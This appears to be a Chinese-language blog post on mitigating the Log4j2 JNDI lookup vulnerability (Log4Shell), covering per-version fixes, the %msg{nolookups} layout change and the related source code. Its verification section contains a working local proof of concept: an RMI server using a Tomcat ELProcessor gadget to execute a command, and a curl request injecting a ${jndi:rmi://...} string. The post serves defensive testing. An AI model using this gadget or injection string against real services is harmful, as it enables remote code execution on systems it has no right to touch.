参考:
版本 | 解决方案 |
---|---|
>=2.10 | 设置 系统属性log4j2.formatMsgNoLookups 或环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS |
>=2.7 | 设置log4j2.xml文件中的 %m 为 %m{nolookups} |
<2.7 | zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class |
PS:小于2.16还需要检查${{ctx:xxx}}删除
由于低版本(<2.10)的log4j2不支持log4j2.formatMsgNoLookups配置,设置后不会生效。
log4j2源码注释
低版本除了升级版本、修改log4j2的类外,还可以通过简单的修改配置临时解决。
修复方法
修复方法主要是指定日志不做转义,需要修改log4j2的Layout,即在%m %msg %message后加{nolookups}
修改前为
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%15.15t] %-5level [%-35.35logger{.1}] - %msg%n" />
</Console>
修改后为
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%15.15t] %-5level [%-35.35logger{.1}] - %msg{nolookups}%n" />
</Console>
验证方法
如果有公网可以申请DNSLOG通过DNSLOG的解析记录验证,如果在内网无法访问公网可以启动rmi服务远程调起计算器【这里选择的是Tomcat的一个,可以根据自己的JDK版本选择】
参考:《JDK 8u191之后的JNDI注入(RMI)》_公众号shadow sock7-CSDN博客
public class JNDIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(8081);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(execByEL());
registry.bind("exec", referenceWrapper);
System.out.println("the Server is bind rmi://127.0.0.1:8081/exec");
}
public static ResourceRef execByEL() {
String command="open -a Calculator.app"; // mac
//String command="calc";
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", String.format(
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
"\"java.lang.Runtime.getRuntime().exec('%s')\"" +
")",
command // "calc"
)));
return ref;
}
}
这里简单写个demo打印用户输入参数:
@SpringBootApplication
@RestController
public class DemoApplication {
private static final Logger logger = LoggerFactory.getLogger(DemoApplication.class);
public static void main(String[] args) {
SpringApplication.run(DemoApplication.class, args);
}
@RequestMapping("test")
public String test(String param) {
logger.info("param={}", param);
return "SUCCESS";
}
}
使用curl构造请求参数利用漏洞访问刚才启动的http服务
curl -d "param=\${jndi:rmi://127.0.0.1:8081/exec}" http://localhost:8080/test
请求后可以看到应用日志中参数已经被转成了ELProcessor对象且计算器被运行了
image.png image.png
按照修复方法进行修复后,重新运行应用:
<Configuration status="info" >
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%15.15t] %-5level [%-35.35logger{.1}] - %msg{nolookups}%n" />
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
重新执行curl,参数被原样打印:
配置{nolookups}后
修复分析
处理日志信息的类:org.apache.logging.log4j.core.pattern.MessagePatternConverter在初始化时会判断nolookups参数:
2.7版本初始化
在处理日志时,会根据noLookups判断是否处理${}
2.7版本format
2.10以后的版本也大致相同:
2.14版本初始化
这个环境变量在2.15后被废弃了,默认是nolookups.
/**
* LOG4J2-3198 property which used to globally opt out of lookups in pattern layout message text, however
* this is the default and this property is no longer read.
*
* Deprecated in 2.15.
*
* @since 2.10
* @deprecated no longer used, lookups are only used when {@code %m{lookups}} is specified
*/
@Deprecated
public static final boolean FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS = PropertiesUtil.getProperties().getBooleanProperty(
"log4j2.formatMsgNoLookups", true);
网友评论